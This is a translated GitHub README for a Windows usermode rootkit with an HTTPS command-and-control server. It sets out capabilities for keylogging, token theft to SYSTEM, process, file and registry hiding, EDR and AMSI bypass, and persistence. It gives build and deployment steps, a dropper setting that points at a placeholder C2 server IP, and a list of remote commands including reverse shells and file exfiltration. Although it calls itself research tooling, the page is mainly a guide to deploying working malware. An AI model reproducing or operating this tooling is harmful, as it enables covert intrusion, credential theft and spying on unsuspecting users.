28Zaaky/Usermode-Rootkit

GitHub: 28Zaaky/Usermode-Rootkit

功能完备的Windows用户态Rootkit,集成inline hooking隐藏、权限提升、键盘记录、HTTPS C2和多重反分析技术,专为红蓝对抗和安全研究设计。

Stars: 33 | Forks: 4

# 具有 C2 功能的用户态 Rootkit ![C2 截图](https://github.com/28Zaaky/Usermode-Rootkit/blob/82292f2a6d0c4f46ad9b3db686fc275e6ce17589/Capture%20d'%C3%A9cran%202025-12-12%20173844.png) Windows 用户态 rootkit,实现了隐蔽技术、权限提升和 C2 基础设施,用于研究目的。 ## 功能特性 **权限提升:** - Token 窃取 (winlogon.exe → SYSTEM) - 命名管道模拟 - SeDebugPrivilege 提升 **隐蔽与隐藏:** - 用于进程/文件/注册表隐藏的 Inline hooking(x64 trampolines) - 通过 CreateRemoteThread 进行 DLL 注入 - 使用内存映射文件的 IPC 同步 - 字符串混淆(自定义加密) **键盘记录器:** - 通过 SetWindowsHookEx (WH_KEYBOARD_LL) 实现低级键盘钩子 - 实时捕获所有击键 + 活动窗口标题 - 带有 wstring 管理的缓冲传输 - 通过 HTTPS beacon 自动 C2 渗透 - 带有 commandID 跟踪的 OnKeylogData 回调 **反分析:** - VM 检测(5 种方法:CPUID、注册表、硬件检查) - 调试器检测(PEB、计时、NtQueryInformationProcess) - 沙箱规避(运行时间、用户活动、资源检查) - NTDLL unhooking(EDR 绕过) - ETW/AMSI 补丁 **C2 基础设施:** - 带有 Web 仪表板的 HTTPS 服务器(Flask,端口 8443) - 带有 cmd.exe 重定向的交互式 shell - 带有 SYSTEM token 的 TCP 反向 shell - 带有渗透功能的实时键盘记录器(低级钩子,所有击键 + 窗口标题) - 文件渗透支持 - 15+ 远程命令 **持久化:** - 计划任务(触发器:登录) - 注册表 Run 键 - WMI 事件订阅 **规避:** - 间接系统调用(SysWhispers 风格) - API 哈希(djb2) - JitterSleep() 计时差异 - RAII 句柄管理 ## 构建 **环境要求:** - MinGW-w64 (GCC 15.2+) - Windows 11 x64 - PowerShell 5.1+ **编译:** ``` .\build.ps1 ``` **输出** (`deploy_package/`): - `r00tkit.exe` - 主 rootkit (1.14 MB) - `processHooks.dll` - 进程隐藏 (2.74 MB) - `fileHooks.dll` - 文件系统隐藏 (2.74 MB) - `registryHooks.dll` - 注册表隐藏 (2.74 MB) - `PrivEsc_C2.exe` - 权限提升二进制文件 - `Dropper.exe` - HTTP 部署下载器 ## 部署 **1. 配置 C2:** 编辑 `dropper/Dropper.cpp`: ``` const wchar_t *HTTP_SERVER = L"YOUR_SERVER_IP"; const wchar_t *C2_SERVER_URL = L"https://YOUR_SERVER_IP:8443"; ``` **2. 启动基础设施:** ``` # C2 Server cd server python c2_server.py # Dashboard: https://localhost:8443/dashboard # HTTP Server (用于 Dropper) python http_server.py # 在端口 8000 上提供文件服务 ``` **3. 在目标上部署:** ``` # 选项 A: 直接执行 .\r00tkit.exe # 选项 B: Dropper (下载并安装至 AppData) .\Dropper.exe ``` ## C2 命令 ``` hide_process Hide process from Task Manager hide_file Hide file/folder from Explorer hide_registry Hide registry key from Regedit unhide_process Restore process visibility unhide_file Restore file visibility unhide_registry Restore registry key visibility unhide_all Restore all hidden items privesc Escalate to SYSTEM via Named Pipe or token stealing revshell_system Launch TCP reverse shell with SYSTEM token revshell_start Start interactive cmd.exe session revshell_input Execute command in session revshell_output Read buffered output revshell_stop Terminate session shell Execute single shell command exfil Exfiltrate file content sleep Set beacon interval die Stop rootkit ``` ## 架构 ``` rootkit.exe ├── Anti-Analysis checks (VM, debugger, sandbox) ├── NTDLL unhooking + ETW/AMSI bypass ├── Persistence installation (Task + Registry + WMI) ├── C2 connection (HTTPS beacon loop) └── Keylogger (low-level hook) On-demand injection: ├── taskmgr.exe → processHooks.dll (hide processes) ├── explorer.exe → fileHooks.dll (hide files) └── regedit.exe → registryHooks.dll (hide registry keys) ``` ## 检测规避 **二进制混淆:** - 剥离符号 (`-s`) - 移除 RTTI (`-fno-rtti`) - 优化大小 (`-Os`) - 垃圾回收段 (`--gc-sections`) - 编译时字符串加密 **运行时规避:** - 间接系统调用(无直接 ntdll 调用) - 通过哈希进行 API 解析(无导入地址表条目) - 所有 sleep 操作的抖动(±20% 差异) - RAII 句柄管理(无句柄泄漏) **反检测:** - 使用 `CREATE_NEW_PROCESS_GROUP` 标志创建进程 - 可通过 C2 配置 Beacon 间隔 - 通过 processHooks.dll 注入实现自我隐藏 ## 技术说明 **Inline Hooking:** - 14 字节 x64 跳板 (`mov rax, addr; jmp rax`) - 用于 unhooking 的原始序言备份 - VirtualProtect 用于 RWX 权限 **Token 窃取:** 1. 启用 SeDebugPrivilege 2. 通过快照查找 winlogon.exe PID 3. 使用 NtOpenProcess 打开进程(间接系统调用) 4. 使用 MAXIMUM_ALLOWED 复制 token 5. 通过 ImpersonateLoggedOnUser 进行模拟 **间接系统调用:** - 从磁盘加载全新的 ntdll.dll - 从干净副本中提取 SSN - 通过模式搜索定位 Syscall gadget - DoSyscall stub (dosyscall.S) 用于执行 **C2 协议:** - 带有自签名证书的 HTTPS - XOR 加密(密钥:0x7D) - 带有唯一 ID(PID + 时间戳)的代理注册 - 带有结果存储的任务队列 **联系方式:** 28zaakypro@proton.me
标签:AI合规, AMSI Patching, API Hashing, AV 逃逸, C++, C2 框架, C2 通信, Chrome扩展, DLL 注入, DNS 反向解析, DOM解析, EDR 规避, ETW Patching, Flask, HTTPS Beacon, HTTP工具, Indirect Syscalls, Inline Hooking, IP 地址批量处理, Keylogger, MinGW, NTDLL Unhooking, Reverse Shell, RFI远程文件包含, Rootkit, SeDebugPrivilege, Token 窃取, T-Pot, UML, Usermode Rootkit, Windows 安全, WMI 事件订阅, Zeek, 协议分析, 反向 Shell, 反虚拟机, 反调试, 命名管道模拟, 子域名变形, 字符串混淆, 安全测试, 恶意软件, 攻击性安全, 数据包嗅探, 数据擦除, 文件隐藏, 权限提升, 沙箱逃逸, 注册表隐藏, 端点可见性, 网络可见性, 网络安全, 计划任务, 进程隐藏, 逆向工具, 键盘记录器, 间接系统调用, 隐私保护